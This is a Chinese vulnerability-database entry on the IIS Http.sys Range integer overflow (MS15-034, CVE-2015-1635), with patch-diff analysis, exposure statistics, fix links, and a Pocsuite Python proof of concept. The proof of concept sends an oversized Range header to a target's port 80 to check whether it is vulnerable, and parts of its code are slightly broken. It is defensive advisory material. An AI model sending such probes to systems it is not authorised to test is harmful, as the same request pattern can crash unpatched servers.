IIS 系列 Http.sys 处理 Range 整数溢出漏洞

2015-07-01T00:00:00
ID SSV:89233
Type seebug
Reporter Root
Modified 2015-07-01T00:00:00

Description

<h4><strong></strong>一、漏洞概要<strong></strong></h4><p> </p><p>2015年04月14日,微软发布严重级别的安全公告 MS15-034,编号为 CVE-2015-1635,据称在 Http.sys  中的漏洞可能允许远程执行代码。</p><ul><li><strong> 漏洞描述</strong></li></ul><p>Http.sys 是一个位于 Windows 操作系统核心组件,能够让任何应用程序通过它提供的接口,以 Http 协议进行信息通讯。微软在 Windows 2003 Server 里引进了新的 HTTP API 和内核模式驱动 Http.sys,目的是使基于 Http 服务的程序更有效率。其实在 Windows XP 安装 SP2 后,Http.sys 已经出现在系统里了,但事实上操作系统并没有真的使用这个内核级驱动,而 XP 上自带的 IIS 5.1 也没有使用 HTTP API。</p><p>从曝出的 POC 来看,此漏洞是一个整数溢出类型的漏洞,微软安全公告称最大安全影响是远程执行代码。</p><ul><li><strong>漏洞影响</strong></li></ul><p>受影响版本:</p><p>IIS 7.0以上的Windows 7/8/8.1和Windows Server 2008 R2/Server 2012/Server 2012 R2等操作系统。</p><ul><li><strong>漏洞分析</strong></li></ul><p>根据补丁比较发现,POC 中提到的代码出现在 UlpParseRange 函数中修改的部分。</p><p>在未打补丁的 Http.sys 文件的 UlpParseRange 函数中,代码如下。</p><p><img src="http://blog.knownsec.com/wp-content/uploads/2015/04/4.171.jpg" alt="4.171" height="294" width="358"></p><p><img src="http://blog.knownsec.com/wp-content/uploads/2015/04/4.172.jpg" alt="4.172" height="35" width="536"></p><p>可以看到,在计算 64 位整数时直接进行了运算,没有进行必要的整数溢出检查。</p><p>而在打补丁的 Http.sys 文件的 UlpParseRange 函数中,修改代码如下。</p><p><img src="http://blog.knownsec.com/wp-content/uploads/2015/04/4.173.jpg" alt="4.173" height="284" width="340"></p><p><img src="http://blog.knownsec.com/wp-content/uploads/2015/04/4.174.jpg" alt="4.174" height="20" width="649"></p><p>用 RtlULongLongAdd 函数来计算 Range 范围长度 v18,这个函数中是做了整数溢出检查的。</p><p><img src="http://blog.knownsec.com/wp-content/uploads/2015/04/4.175.jpg" alt="4.175" height="323" width="792"></p><p>再看一下对 RtlULongLongAdd 函数的调用情况。</p><p><img src="http://blog.knownsec.com/wp-content/uploads/2015/04/4.176.jpg" alt="4.176" height="139" width="690"></p><p>在未打补丁的 Http.sys 文件中只有 1 处调用了 RtlULongLongAdd 函数。</p><p><img src="http://blog.knownsec.com/wp-content/uploads/2015/04/4.177.jpg" alt="4.177" height="333" width="393"></p><p>而在打补丁的 Http.sys 文件中总共有 13 处调用了 RtlULongLongAdd 函数进行整数溢出检查,说明有漏洞的系统中可能有多个处理流程会涉及到整数溢出造成的安全问题。</p><p>通过补丁比较确定了修改过的函数如下。</p><p><img src="http://blog.knownsec.com/wp-content/uploads/2015/04/4.178.jpg" alt="4.178" height="202" width="701"></p><p>经过分析发现,UlAdjustRangesToContentSize 函数中的整数溢出点,才是导致漏洞能发挥作用的关键流程。</p><p><img src="http://blog.knownsec.com/wp-content/uploads/2015/04/4.179.jpg" alt="4.179" height="295" width="452"></p><p> </p><p>这段代码还是采用了直接运算 64 位整数的方式,没有检查是否溢出,在补丁文件中替换为调用 RtlULongLongAdd 函数。</p><p>这部分代码的功能是判断获取文件偏移量的范围,是否会超过请求缓存文件的数据长度,如果超出就把读取长度 修改为合适的大小,防止越界访问数据。但是由于发生了整数溢出,使得判断越界的代码失效,这样就不会修改读取长度,造成用可控的长度值越界访问数据。</p><p>但是如果要成功利用此漏洞还需要一些必要的条件,具体细节有待进一步分析。</p><ul><li><strong>漏洞验证</strong></li></ul><p>可以使用 PoC 区域中 Python 程序对系统进行漏洞检测。</p><p>如果打印出“Looks VULN”,说明系统存在漏洞。</p><h4><strong></strong>二、ZoomEye 应急概要<strong></strong></h4><p> </p><p>知道创宇安全研究团队通过网络空间搜索引擎 ZoomEye 进行全网搜索,得出目前网络空间中可能受影响网站所使用 IIS 版本比例如下所示:</p><p><img src="http://blog.knownsec.com/wp-content/uploads/2015/04/4.16%E9%85%8D%E5%9B%BE1.png" alt="4.16配图1" height="323" width="575"></p><p> </p><p>▲受威胁网站使用版本比例</p><p><img src="http://blog.knownsec.com/wp-content/uploads/2015/04/4.16%E9%85%8D%E5%9B%BE2.png" alt="4.16配图2" height="509" width="672"></p><p>▲全国网站受 IIS 漏洞影响地域分布情况</p><p>另外,ZoomEye 搜索结果显示,全国受漏洞威胁的网站总数达 795,317  个,超过我国网站总数的五分之一,从区域分布来看,排在首位的北京地区共  276,39  个,对漏洞的修复工作刻不容缓。请网络管理员尽快打补丁修复,官方补丁下载地址:</p><ul><li><a href="https://support.microsoft.com/zh-cn/kb/3042553">https://support.microsoft.com/zh-cn/kb/3042553</a>。</li></ul><h4>三、修复建议</h4><p>通过 Windows 更新机制,选择 KB3042553 安全更新进行系统升级。</p><p>此漏洞在线验证地址:<a href="http://www.scanv.com/lab" target="_blank">http://www.scanv.com/lab</a></p><h4><strong></strong>四、相关资源链接<strong></strong></h4><ul><li><a href="https://technet.microsoft.com/zh-cn/library/security/ms15-034">https://technet.microsoft.com/zh-cn/library/security/ms15-034</a></li></ul><p>应急报告下载:<a target="_blank" href="http://blog.knownsec.com/wp-content/uploads/2015/04/IIS%E7%B3%BB%E5%88%97Http.sys%E5%A4%84%E7%90%86Range%E6%95%B4%E6%95%B0%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E-%E5%BA%94%E6%80%A5%E5%88%86%E6%9E%90%E6%8A%A5%E5%91%8AV1-.pdf">IIS系列Http.sys处理Range整数溢出漏洞 应急分析报告V1</a><br></p>

                                        
                                            
                                                #!/usr/bin/env python
# coding: utf-8

import socket
import random
from urlparse import urljoin
from pocsuite.net import req
from pocsuite.poc import POCBase, Output
from pocsuite.utils import register
from lib.utils.funs import url2ip


class TestPOC(POCBase):
    vulID = '89233'  # vul ID
    version = '1'
    author = ['cnyql']
    vulDate = '2015-04-14'
    createDate = '2015-04-16'
    updateDate = '2015-09-19'
    references = ['http://www.sebug.net/vuldb/ssvid-89233']
    name = 'IIS 系列 Http.sys 处理 Range 整数溢出漏洞'
    appPowerLink = 'http://www.iis.net/'
    appName = 'Miscrosoft IIS httpd'
    appVersion = 'N/A'
    vulType = 'Buffer Overflow'
    desc = '''
    2015年04月14日,微软发布严重级别的安全公告 MS15-034,编号为 CVE-2015-1635,据称在 Http.sys 中的漏洞可能允许远程执行代码。
    '''

    def _verify(self):

        ip = url2ip(self.url)
        hexAllFfff = "18446744073709551615"
        flag = False
        req1 = "GET /HTTP/1.0\r\n\r\n"
        req = "GET /HTTP/1.1\r\nHost: stuff\r\nRange: bytes=0-" + hexAllFfff + "\r\n\r\n"

        client_socket =socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        client_socket.connect((ip, 80))
        client_socket.send(req1)
        boringResp = client_socket.recv(1024)

        if "Microsoft" in boringResp:
            client_socket.close()
            client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            client_socket.connect((ip,80))
            client_socket.send(req)
            goodResp = client_socket.recv(1024)

            if "Requested RangeNot Satisfiable" in goodResp:
                flag = True

        return self.parse_verify(flag)

    def parse_verify(self, flag):
        output = Output(self)
        result = {}

        if flag:
            result['VerifyInfo'] = {}
            result['VerifyInfo']['URL'] = res.url
            output.success(result)
        
        else:
            output.fail('No vulnerability found.')

        return output
		
    def _attack(self):
        return self._verify()


register(TestPOC)